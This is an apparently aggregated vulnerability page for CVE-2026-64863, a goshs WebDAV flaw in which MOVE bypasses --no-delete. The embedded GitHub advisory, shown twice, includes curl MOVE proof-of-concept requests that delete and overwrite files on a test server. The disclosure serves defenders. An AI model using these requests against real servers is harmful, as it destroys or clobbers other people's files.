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CVE-2026-64863

goshs --no-delete WebDAV MOVE bypass allows file deletion/overwrite

9.1 CriticalFix available

goshs is a feature-rich single-binary file server for red teamers and developers. Prior to 2.1.4, the httpserver/server.go wdGuard handled WebDAV MOVE as a write-only method and did not enforce --no-delete, allowing WebDAV clients to delete or overwrite files via MOVE with Overwrite: T. This issue is fixed in version 2.1.4.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
High
Availability
High

Exploit likelihood

0.42%Up 0.1 points since Jul 29, 2026
90%50%10%1%

What each source reports

CVE List Score used 9.1

goshs --no-delete WebDAV MOVE bypass allows file deletion/overwrite

goshs is a feature-rich single-binary file server for red teamers and developers. Prior to 2.1.4, the httpserver/server.go wdGuard handled WebDAV MOVE as a write-only method and did not enforce --no-delete, allowing WebDAV clients to delete or overwrite files via MOVE with Overwrite: T. This issue is fixed in version 2.1.4.

Record
CVE-2026-64863
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Weakness
CWE-284
Updated
2026-11-02
EUVDEUVD-2026-50081 9.1

goshs is a feature-rich single-binary file server for red teamers and developers. Prior to 2.1.4, the httpserver/server.go wdGuard handled WebDAV MOVE as a write-only method and did not enforce --no-delete, allowing WebDAV clients to delete or overwrite files via MOVE with Overwrite: T. This issue is fixed in version 2.1.4.

Record
EUVD-2026-50081
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-hq33-8jgp-8qq3 9.1

goshs --no-delete WebDAV MOVE bypass allows file deletion/overwrite

Summary

The WebDAV mode-flag guard added to fix GHSA-3whc-qvhv-xqjp still does not enforce --no-delete on the WebDAV MOVE verb. MOVE deletes the source file (rename removes it from its original path), and with Overwrite: T it additionally performs an explicit RemoveAll on the destination. Under -w --no-delete, DELETE is correctly blocked (403) but MOVE still destroys existing files, defeating the documented "Disable the delete option" boundary.

This is a residual of the parent fix: the guard classifies MOVE/COPY as write-only verbs (blocked only under --read-only) and never treats MOVE as a delete, so the --no-delete branch never covers it.

Affected

goshs v2.1.3 (current release, commit ba00ce3). The guard was introduced when GHSA-3whc-qvhv-xqjp was fixed and carries the gap forward.

Details

httpserver/server.go, wdGuard (lines 237-254):

wdGuard := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
    switch r.Method {
    case http.MethodPut, "MKCOL", "MOVE", "COPY":
        if fs.ReadOnly {
            http.Error(w, "read-only", http.StatusForbidden)
            return
        }
    case http.MethodDelete:
        if fs.ReadOnly || fs.UploadOnly || fs.NoDelete {
            http.Error(w, "delete disabled", http.StatusForbidden)
            return
        }
    case http.MethodGet, http.MethodHead:
        if fs.UploadOnly {
            http.Error(w, "upload-only", http.StatusForbidden)
            return
        }
    }
    ...

MOVE lives in the first case and is gated only by fs.ReadOnly. It is never checked against fs.NoDelete. But MOVE in golang.org/x/net/webdav (file.go, moveFiles) calls fs.Rename(ctx, src, dst), which removes the source from its original location, and when the Overwrite: T header is present it first calls fs.RemoveAll(ctx, dst) on an existing destination. Both are deletions. So --no-delete, whose help text reads "Disable the delete option", does not disable deletion via MOVE.

The .goshs ACL layer (webdav_acl.go) checks auth and block-lists only; it does not enforce the mode flags, so it does not close this gap.

Proof of concept

Reproduced live against goshs v2.1.3 on 2026-07-02. Server started with --no-delete and WebDAV enabled:

$ printf 'TOP-SECRET-CONTENTS\n' > webroot/secret.txt
$ printf 'VICTIM-EXISTING-FILE\n'  > webroot/victim.txt
$ goshs -d webroot -i 127.0.0.1 -p 18080 --webdav --webdav-port 18081 --no-delete
INFO  Serving WEBDAV on 127.0.0.1:18081 from webroot

Control - DELETE is correctly blocked:

$ curl -s -i -X DELETE http://127.0.0.1:18081/secret.txt
HTTP/1.1 403 Forbidden
Content-Type: text/plain; charset=utf-8
Server: goshs/v2.1.3 (darwin; go1.26.1)

secret.txt still exists on disk.

Bypass 1 - MOVE removes the source file despite --no-delete:

$ curl -s -i -X MOVE -H 'Destination: http://127.0.0.1:18081/gone.txt' http://127.0.0.1:18081/secret.txt
HTTP/1.1 201 Created
Server: goshs/v2.1.3 (darwin; go1.26.1)

secret.txt is now deleted from disk (its content is at gone.txt).

Bypass 2 - MOVE with Overwrite:T destroys an existing victim file:

# before: victim.txt = VICTIM-EXISTING-FILE
$ curl -s -i -X MOVE -H 'Destination: http://127.0.0.1:18081/victim.txt' -H 'Overwrite: T' http://127.0.0.1:18081/gone.txt
HTTP/1.1 204 No Content
Server: goshs/v2.1.3 (darwin; go1.26.1)
# after:  victim.txt = TOP-SECRET-CONTENTS   (original VICTIM-EXISTING-FILE destroyed via RemoveAll)

Impact

An operator running goshs -w --no-delete -d /srv/artifacts to deliver files that must not be removed still allows any WebDAV client to delete or clobber existing files via MOVE. Confidential existing files can be renamed away or overwritten. The --no-delete control is silently ineffective on the WebDAV port for the MOVE verb.

Suggested fix

Move MOVE (and COPY on collision-with-overwrite, which also deletes) into the delete-gated branch, or add…

Record
GHSA-hq33-8jgp-8qq3
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Weakness
CWE-284
Updated
2026-11-02
NVD 9.1

goshs is a feature-rich single-binary file server for red teamers and developers. Prior to 2.1.4, the httpserver/server.go wdGuard handled WebDAV MOVE as a write-only method and did not enforce --no-delete, allowing WebDAV clients to delete or overwrite files via MOVE with Overwrite: T. This issue is fixed in version 2.1.4.

Record
CVE-2026-64863
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Weakness
CWE-284
Updated
2026-11-02
OSV 9.1

goshs --no-delete WebDAV MOVE bypass allows file deletion/overwrite

goshs is a feature-rich single-binary file server for red teamers and developers. Prior to 2.1.4, the httpserver/server.go wdGuard handled WebDAV MOVE as a write-only method and did not enforce --no-delete, allowing WebDAV clients to delete or overwrite files via MOVE with Overwrite: T. This issue is fixed in version 2.1.4.

Record
CVE-2026-64863
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Weakness
CWE-284
Updated
2026-11-02
OSVGHSA-hq33-8jgp-8qq3 9.1

goshs --no-delete WebDAV MOVE bypass allows file deletion/overwrite

Summary

The WebDAV mode-flag guard added to fix GHSA-3whc-qvhv-xqjp still does not enforce --no-delete on the WebDAV MOVE verb. MOVE deletes the source file (rename removes it from its original path), and with Overwrite: T it additionally performs an explicit RemoveAll on the destination. Under -w --no-delete, DELETE is correctly blocked (403) but MOVE still destroys existing files, defeating the documented "Disable the delete option" boundary.

This is a residual of the parent fix: the guard classifies MOVE/COPY as write-only verbs (blocked only under --read-only) and never treats MOVE as a delete, so the --no-delete branch never covers it.

Affected

goshs v2.1.3 (current release, commit ba00ce3). The guard was introduced when GHSA-3whc-qvhv-xqjp was fixed and carries the gap forward.

Details

httpserver/server.go, wdGuard (lines 237-254):

wdGuard := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
    switch r.Method {
    case http.MethodPut, "MKCOL", "MOVE", "COPY":
        if fs.ReadOnly {
            http.Error(w, "read-only", http.StatusForbidden)
            return
        }
    case http.MethodDelete:
        if fs.ReadOnly || fs.UploadOnly || fs.NoDelete {
            http.Error(w, "delete disabled", http.StatusForbidden)
            return
        }
    case http.MethodGet, http.MethodHead:
        if fs.UploadOnly {
            http.Error(w, "upload-only", http.StatusForbidden)
            return
        }
    }
    ...

MOVE lives in the first case and is gated only by fs.ReadOnly. It is never checked against fs.NoDelete. But MOVE in golang.org/x/net/webdav (file.go, moveFiles) calls fs.Rename(ctx, src, dst), which removes the source from its original location, and when the Overwrite: T header is present it first calls fs.RemoveAll(ctx, dst) on an existing destination. Both are deletions. So --no-delete, whose help text reads "Disable the delete option", does not disable deletion via MOVE.

The .goshs ACL layer (webdav_acl.go) checks auth and block-lists only; it does not enforce the mode flags, so it does not close this gap.

Proof of concept

Reproduced live against goshs v2.1.3 on 2026-07-02. Server started with --no-delete and WebDAV enabled:

$ printf 'TOP-SECRET-CONTENTS\n' > webroot/secret.txt
$ printf 'VICTIM-EXISTING-FILE\n'  > webroot/victim.txt
$ goshs -d webroot -i 127.0.0.1 -p 18080 --webdav --webdav-port 18081 --no-delete
INFO  Serving WEBDAV on 127.0.0.1:18081 from webroot

Control - DELETE is correctly blocked:

$ curl -s -i -X DELETE http://127.0.0.1:18081/secret.txt
HTTP/1.1 403 Forbidden
Content-Type: text/plain; charset=utf-8
Server: goshs/v2.1.3 (darwin; go1.26.1)

secret.txt still exists on disk.

Bypass 1 - MOVE removes the source file despite --no-delete:

$ curl -s -i -X MOVE -H 'Destination: http://127.0.0.1:18081/gone.txt' http://127.0.0.1:18081/secret.txt
HTTP/1.1 201 Created
Server: goshs/v2.1.3 (darwin; go1.26.1)

secret.txt is now deleted from disk (its content is at gone.txt).

Bypass 2 - MOVE with Overwrite:T destroys an existing victim file:

# before: victim.txt = VICTIM-EXISTING-FILE
$ curl -s -i -X MOVE -H 'Destination: http://127.0.0.1:18081/victim.txt' -H 'Overwrite: T' http://127.0.0.1:18081/gone.txt
HTTP/1.1 204 No Content
Server: goshs/v2.1.3 (darwin; go1.26.1)
# after:  victim.txt = TOP-SECRET-CONTENTS   (original VICTIM-EXISTING-FILE destroyed via RemoveAll)

Impact

An operator running goshs -w --no-delete -d /srv/artifacts to deliver files that must not be removed still allows any WebDAV client to delete or clobber existing files via MOVE. Confidential existing files can be renamed away or overwritten. The --no-delete control is silently ineffective on the WebDAV port for the MOVE verb.

Suggested fix

Move MOVE (and COPY on collision-with-overwrite, which also deletes) into the delete-gated branch, or add…

Record
GHSA-hq33-8jgp-8qq3
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Weakness
CWE-284
Updated
2026-11-02
OSVGO-2026-6136 No score

goshs --no-delete WebDAV MOVE bypass allows file deletion/overwrite in github.com/patrickhener/goshs

goshs --no-delete WebDAV MOVE bypass allows file deletion/overwrite in github.com/patrickhener/goshs

Record
GO-2026-6136
Updated
2026-11-02
OSVopenSUSE-SU-2026:21761-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260827T195228 2026-08-27T19:52:28Z (jsc#PED-11136).

    Go CVE Numbering Authority IDs added or updated with aliases:

    • GO-2026-5026 CVE-2026-39821
    • GO-2026-6225
    • GO-2026-6250 CVE-2026-63328 GHSA-8rc5-4fr6-64pw
    • GO-2026-6253 CVE-2026-17106 GHSA-hfg8-hc9c-6c3h
    • GO-2026-6254 CVE-2026-53941 GHSA-vjhx-2cqw-3q6q
    • GO-2026-6255 CVE-2026-61711 GHSA-7236-3392-c5c6
    • GO-2026-6256 CVE-2026-61712 GHSA-72x6-4j93-7w86
    • GO-2026-6258 CVE-2026-45404 GHSA-42cj-99w8-cp2p
    • GO-2026-6259 CVE-2026-32637 GHSA-j2g6-362q-6qc6
    • GO-2026-6260 CVE-2026-55149 GHSA-qqff-5854-px68
    • GO-2026-6261 CVE-2026-54061 GHSA-rrwh-6jrq-wp5v
    • GO-2026-6262 GHSA-22w5-2fxg-vrwx
    • GO-2026-6263 CVE-2026-54168 GHSA-6f2p-296r-cc28
    • GO-2026-6264 CVE-2026-54245 GHSA-7q96-f8xw-jv5j
    • GO-2026-6265 GHSA-8fxq-53rx-ph5f
    • GO-2026-6266 CVE-2026-54167 GHSA-f5f4-3hh4-f54m
    • GO-2026-6267 GHSA-h58c-xccx-75m3
    • GO-2026-6268 GHSA-q9c5-pp7m-fm2g
    • GO-2026-6269 GHSA-rxhg-vcww-2mpw
    • GO-2026-6270 CVE-2026-54162 GHSA-x3g7-qrwc-f6c5
    • GO-2026-6271 CVE-2026-67448 GHSA-8r62-w5wh-fc5m
    • GO-2026-6272 CVE-2026-67447 GHSA-r553-m4fv-5v97
    • GO-2026-6273 CVE-2026-64679 GHSA-26w5-6g95-gj28
    • GO-2026-6274 CVE-2026-76905 GHSA-mmfr-pmjx-hw9w
    • GO-2026-6275 CVE-2026-77354 GHSA-xhj3-7xw9-vr34
    • GO-2026-6277 GHSA-4ph6-mjv7-3fq6
    • GO-2026-6278 GHSA-w67g-5rqw-f597
    • GO-2026-6279 CVE-2026-6046 GHSA-3vmp-whvv-5v9v
    • GO-2026-6280 CVE-2026-7387 GHSA-6hxm-w4hv-vgvw
    • GO-2026-6281 CVE-2026-6961 GHSA-8qq9-cqj8-82w4
    • GO-2026-6282 CVE-2026-7184 GHSA-9p44-r552-4wp9
    • GO-2026-6283 CVE-2026-6689 GHSA-c28q-m4gf-vg4q
    • GO-2026-6284 CVE-2026-55477 GHSA-jm48-m3rr-9hgg
    • GO-2026-6285 CVE-2026-6739 GHSA-m2w9-h2mm-79qr
    • GO-2026-6286 CVE-2026-3433 GHSA-rp4v-qc77-phm4
    • GO-2026-6287 GHSA-vx2m-jpxr-xv7w
    • GO-2026-6288 CVE-2026-11624 GHSA-76g7-m3xw-x9gr
    • GO-2026-6289 GHSA-w8j7-39hp-8x59
    • GO-2026-6290 CVE-2026-55581 GHSA-3x77-wg38-92r3
    • GO-2026-6291 CVE-2026-55582 GHSA-74hp-mggr-hv58
    • GO-2026-6292 CVE-2026-55580 GHSA-f5pj-2738-996m
    • GO-2026-6293 CVE-2026-55677 GHSA-vfp3-v2gw-7wfq
    • GO-2026-6294 CVE-2026-55092 GHSA-mcj4-mphf-j9ff
    • GO-2026-6295 CVE-2026-55637 GHSA-cmwv-wf9p-p8wx
    • GO-2026-6296 CVE-2026-54523 GHSA-79gf-7frw-68m9
    • GO-2026-6297 CVE-2026-50879 GHSA-g743-m6x3-v6wm
    • GO-2026-6298 CVE-2026-54563 GHSA-w5fv-7x5q-g8qp
    • GO-2026-6299 CVE-2026-50884 GHSA-5442-mh7f-72px
    • GO-2026-6300 CVE-2026-50891 GHSA-rcqf-cpv9-g5jf
    • GO-2026-6301 CVE-2026-42350 GHSA-g7gw-m874-7rmf

  • Update to version 0.0.20260819T170606 2026-08-19T17:06:06Z.

    Go CVE Numbering Authority IDs added or updated with aliases:

    • GO-2026-4720 GHSA-v3mg-9v85-fcm7
    • GO-2026-4942 CVE-2026-35172 GHSA-f2g3-hh2r-cwgc
    • GO-2026-4950
    • GO-2026-6093 GHSA-464c-974j-9xm6
    • GO-2026-6094 GHSA-gcjh-h69q-9w9g
    • GO-2026-6095 GHSA-r277-6w6q-xmqw
    • GO-2026-6097 CVE-2026-55495 GHSA-49h3-cwhj-4737
    • GO-2026-6098 CVE-2026-55496 GHSA-8r7f-r8hj-r3rv
    • GO-2026-6099 CVE-2026-57497 GHSA-g35j-m5xg-vh3q
    • GO-2026-6100 CVE-2026-55497 GHSA-g9j2-8w95-3vwv
    • GO-2026-6101 CVE-2026-55502 GHSA-hq88-5x99-x3gf
    • GO-2026-6102 CVE-2026-55499 GHSA-w8x7-h2px-xmq8
    • GO-2026-6103 CVE-2026-73564 GHSA-26gq-p25f-99cp
    • GO-2026-6104 CVE-2026-62323 GHSA-c3jm-gv5r-9wcp
    • GO-2026-6105 GHSA-c534-2w9c-x7fm
    • GO-2026-6106 GHSA-v6w6-358x-2433
    • GO-2026-6107 CVE-2026-73500 GHSA-6vch-q96h-7gc3
    • GO-2026-6108 CVE-2026-73505 GHSA-6xj8-qv9j-xcjq
    • GO-2026-6109 GHSA-86cx-wwf4-phq4
    • GO-2026-6110 CVE-2026-73509 GHSA-95cv-r8x4-vh75
    • GO-2026-6111 CVE-2026-73506 GHSA-fwjx-9p69-h25h
    • GO-2026-6112 CVE-2026-73502 GHSA-jpcw-4wr7-c3vq
    • GO-2026-6113 GHSA-p6ph-3jx2-3337
    • GO-2026-6114 CVE-2026-73499 GHSA-xg4h-6gfc-h4m8
    • GO-2026-6115 CVE-2026-56867
    • GO-2026-6117 GHSA-hp74-gm6m-2qm5
    • GO-2026-6118 CVE-2026-47427 GHSA-w4q6-qw23-4rg7
    • GO-2026-6119 CVE-2026-43983…
Record
openSUSE-SU-2026:21761-1
Updated
2026-11-02
OSVSUSE-SU-2026:23625-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260827T195228 2026-08-27T19:52:28Z (jsc#PED-11136).

    Go CVE Numbering Authority IDs added or updated with aliases:

    • GO-2026-5026 CVE-2026-39821
    • GO-2026-6225
    • GO-2026-6250 CVE-2026-63328 GHSA-8rc5-4fr6-64pw
    • GO-2026-6253 CVE-2026-17106 GHSA-hfg8-hc9c-6c3h
    • GO-2026-6254 CVE-2026-53941 GHSA-vjhx-2cqw-3q6q
    • GO-2026-6255 CVE-2026-61711 GHSA-7236-3392-c5c6
    • GO-2026-6256 CVE-2026-61712 GHSA-72x6-4j93-7w86
    • GO-2026-6258 CVE-2026-45404 GHSA-42cj-99w8-cp2p
    • GO-2026-6259 CVE-2026-32637 GHSA-j2g6-362q-6qc6
    • GO-2026-6260 CVE-2026-55149 GHSA-qqff-5854-px68
    • GO-2026-6261 CVE-2026-54061 GHSA-rrwh-6jrq-wp5v
    • GO-2026-6262 GHSA-22w5-2fxg-vrwx
    • GO-2026-6263 CVE-2026-54168 GHSA-6f2p-296r-cc28
    • GO-2026-6264 CVE-2026-54245 GHSA-7q96-f8xw-jv5j
    • GO-2026-6265 GHSA-8fxq-53rx-ph5f
    • GO-2026-6266 CVE-2026-54167 GHSA-f5f4-3hh4-f54m
    • GO-2026-6267 GHSA-h58c-xccx-75m3
    • GO-2026-6268 GHSA-q9c5-pp7m-fm2g
    • GO-2026-6269 GHSA-rxhg-vcww-2mpw
    • GO-2026-6270 CVE-2026-54162 GHSA-x3g7-qrwc-f6c5
    • GO-2026-6271 CVE-2026-67448 GHSA-8r62-w5wh-fc5m
    • GO-2026-6272 CVE-2026-67447 GHSA-r553-m4fv-5v97
    • GO-2026-6273 CVE-2026-64679 GHSA-26w5-6g95-gj28
    • GO-2026-6274 CVE-2026-76905 GHSA-mmfr-pmjx-hw9w
    • GO-2026-6275 CVE-2026-77354 GHSA-xhj3-7xw9-vr34
    • GO-2026-6277 GHSA-4ph6-mjv7-3fq6
    • GO-2026-6278 GHSA-w67g-5rqw-f597
    • GO-2026-6279 CVE-2026-6046 GHSA-3vmp-whvv-5v9v
    • GO-2026-6280 CVE-2026-7387 GHSA-6hxm-w4hv-vgvw
    • GO-2026-6281 CVE-2026-6961 GHSA-8qq9-cqj8-82w4
    • GO-2026-6282 CVE-2026-7184 GHSA-9p44-r552-4wp9
    • GO-2026-6283 CVE-2026-6689 GHSA-c28q-m4gf-vg4q
    • GO-2026-6284 CVE-2026-55477 GHSA-jm48-m3rr-9hgg
    • GO-2026-6285 CVE-2026-6739 GHSA-m2w9-h2mm-79qr
    • GO-2026-6286 CVE-2026-3433 GHSA-rp4v-qc77-phm4
    • GO-2026-6287 GHSA-vx2m-jpxr-xv7w
    • GO-2026-6288 CVE-2026-11624 GHSA-76g7-m3xw-x9gr
    • GO-2026-6289 GHSA-w8j7-39hp-8x59
    • GO-2026-6290 CVE-2026-55581 GHSA-3x77-wg38-92r3
    • GO-2026-6291 CVE-2026-55582 GHSA-74hp-mggr-hv58
    • GO-2026-6292 CVE-2026-55580 GHSA-f5pj-2738-996m
    • GO-2026-6293 CVE-2026-55677 GHSA-vfp3-v2gw-7wfq
    • GO-2026-6294 CVE-2026-55092 GHSA-mcj4-mphf-j9ff
    • GO-2026-6295 CVE-2026-55637 GHSA-cmwv-wf9p-p8wx
    • GO-2026-6296 CVE-2026-54523 GHSA-79gf-7frw-68m9
    • GO-2026-6297 CVE-2026-50879 GHSA-g743-m6x3-v6wm
    • GO-2026-6298 CVE-2026-54563 GHSA-w5fv-7x5q-g8qp
    • GO-2026-6299 CVE-2026-50884 GHSA-5442-mh7f-72px
    • GO-2026-6300 CVE-2026-50891 GHSA-rcqf-cpv9-g5jf
    • GO-2026-6301 CVE-2026-42350 GHSA-g7gw-m874-7rmf

  • Update to version 0.0.20260819T170606 2026-08-19T17:06:06Z.

    Go CVE Numbering Authority IDs added or updated with aliases:

    • GO-2026-4720 GHSA-v3mg-9v85-fcm7
    • GO-2026-4942 CVE-2026-35172 GHSA-f2g3-hh2r-cwgc
    • GO-2026-4950
    • GO-2026-6093 GHSA-464c-974j-9xm6
    • GO-2026-6094 GHSA-gcjh-h69q-9w9g
    • GO-2026-6095 GHSA-r277-6w6q-xmqw
    • GO-2026-6097 CVE-2026-55495 GHSA-49h3-cwhj-4737
    • GO-2026-6098 CVE-2026-55496 GHSA-8r7f-r8hj-r3rv
    • GO-2026-6099 CVE-2026-57497 GHSA-g35j-m5xg-vh3q
    • GO-2026-6100 CVE-2026-55497 GHSA-g9j2-8w95-3vwv
    • GO-2026-6101 CVE-2026-55502 GHSA-hq88-5x99-x3gf
    • GO-2026-6102 CVE-2026-55499 GHSA-w8x7-h2px-xmq8
    • GO-2026-6103 CVE-2026-73564 GHSA-26gq-p25f-99cp
    • GO-2026-6104 CVE-2026-62323 GHSA-c3jm-gv5r-9wcp
    • GO-2026-6105 GHSA-c534-2w9c-x7fm
    • GO-2026-6106 GHSA-v6w6-358x-2433
    • GO-2026-6107 CVE-2026-73500 GHSA-6vch-q96h-7gc3
    • GO-2026-6108 CVE-2026-73505 GHSA-6xj8-qv9j-xcjq
    • GO-2026-6109 GHSA-86cx-wwf4-phq4
    • GO-2026-6110 CVE-2026-73509 GHSA-95cv-r8x4-vh75
    • GO-2026-6111 CVE-2026-73506 GHSA-fwjx-9p69-h25h
    • GO-2026-6112 CVE-2026-73502 GHSA-jpcw-4wr7-c3vq
    • GO-2026-6113 GHSA-p6ph-3jx2-3337
    • GO-2026-6114 CVE-2026-73499 GHSA-xg4h-6gfc-h4m8
    • GO-2026-6115 CVE-2026-56867
    • GO-2026-6117 GHSA-hp74-gm6m-2qm5
    • GO-2026-6118 CVE-2026-47427 GHSA-w4q6-qw23-4rg7
    • GO-2026-6119 CVE-2026-43983…
Record
SUSE-SU-2026:23625-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
goshs.de/goshs/v2
Go
 through 2.1.3
2.1.4
github.com/patrickhener/goshs/v2
Go
 through 2.1.3
2.1.4
goshs.de/goshs
Go
 through 1.1.4 None known
github.com/patrickhener/goshs
Go
 through 1.1.4 None known
goshs.de/goshs/v2
Go
 before 2.1.4
2.1.4
github.com/patrickhener/goshs/v2
Go
 before 2.1.4
2.1.4
github.com/patrickhener/goshs
Go
 All versions None known
goshs.de/goshs
Go
 All versions None known
govulncheck-vulndb
SUSE:Linux Enterprise Server 16.0
From an advisory covering 181 CVEs
 before 0.0.20260827T195228-160000.1.1
0.0.20260827T195228-160000.1.1
govulncheck-vulndb
SUSE:Linux Enterprise Server for SAP applications 16.0
From an advisory covering 181 CVEs
 before 0.0.20260827T195228-160000.1.1
0.0.20260827T195228-160000.1.1
govulncheck-vulndb
openSUSE:Leap 16.0
From an advisory covering 181 CVEs
 before 0.0.20260827T195228-160000.1.1
0.0.20260827T195228-160000.1.1

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-64863 is a critical vulnerability (CVSS 9.1) in Goshs-labs Goshs, published July 28, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.42%, the 36th percentile. Fixed in goshs.de/goshs/v2 2.1.4.

References

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